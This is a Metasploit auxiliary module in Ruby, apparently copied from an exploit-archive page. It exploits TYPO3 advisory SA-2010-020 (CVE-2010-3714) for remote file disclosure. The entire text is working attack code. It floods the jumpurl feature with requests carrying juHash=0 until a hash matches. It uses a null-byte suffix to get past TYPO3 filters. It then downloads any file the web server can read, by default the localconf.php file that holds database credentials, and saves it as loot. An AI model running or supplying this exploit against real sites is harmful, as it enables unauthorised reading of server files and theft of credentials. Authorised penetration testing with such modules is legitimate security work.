Share
## https://sploitus.com/exploit?id=PACKETSTORM:180856
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',  
'Description' => %q{  
This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.  
Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.  
This flaw can be used to read any file that the web server user account has access to view.  
},  
'References' => [  
['CVE', '2010-3714'],  
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],  
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],  
],  
'Author' => [  
'Chris John Riley',  
'Gregor Kopf', # Original Discovery  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptString.new('URI', [true, 'TYPO3 Path', '/']),  
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),  
OptInt.new('MAX_TRIES', [true, 'Maximum tries', 10000]),  
]  
)  
end  
  
def run  
# Add padding to bypass TYPO3 security filters  
#  
# Null byte fixed in PHP 5.3.4  
#  
  
case datastore['RFILE']  
when nil  
# Nothing  
when /localconf\.php$/i  
jumpurl = "#{datastore['RFILE']}%00/."  
when %r{^\.\.(/|\\)}i  
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')  
else  
jumpurl = datastore['RFILE'].to_s  
end  
  
print_status("Establishing a connection to #{rhost}:#{rport}")  
print_status("Trying to retrieve #{datastore['RFILE']}")  
  
location_base = Rex::Text.rand_text_numeric(1)  
counter = 0  
  
queue = []  
print_status('Creating request queue')  
  
1.upto(datastore['MAX_TRIES']) do  
counter += 1  
locationData = "#{location_base}::#{counter}"  
queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0"  
if ((counter.to_f / datastore['MAX_TRIES'].to_f) * 100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%  
percentage = (counter.to_f / datastore['MAX_TRIES'].to_f) * 100  
print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")  
end  
end  
  
print_status('Queue compiled. Beginning requests... grab a coffee!')  
  
counter = 0  
queue.each do |check|  
counter += 1  
check = check.sub('//', '/') # Prevent double // from appearing in uri  
begin  
file = send_request_raw({  
'uri' => check,  
'method' => 'GET',  
'headers' =>  
{  
'Connection' => 'Close'  
}  
}, 25)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
return  
rescue ::Timeout::Error, ::Errno::EPIPE => e  
print_error(e.message)  
return  
end  
  
if file.nil?  
print_error('Connection timed out')  
return  
end  
  
if ((counter.to_f / queue.length.to_f) * 100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%  
percentage = (counter.to_f / queue.length.to_f) * 100.0  
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")  
end  
  
# file can be nil  
case file.headers['Content-Type']  
when 'text/html'  
case file.body  
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'  
print_error("File #{datastore['RFILE']} does not exist.")  
return  
when /jumpurl Secure: locationData/i  
print_error("File #{datastore['RFILE']} is not accessible.")  
return  
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'  
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")  
return  
end  
when 'application/octet-stream'  
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB  
print_good('Found matching hash')  
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')  
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2010_020')  
return  
end  
end  
  
print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")  
end  
end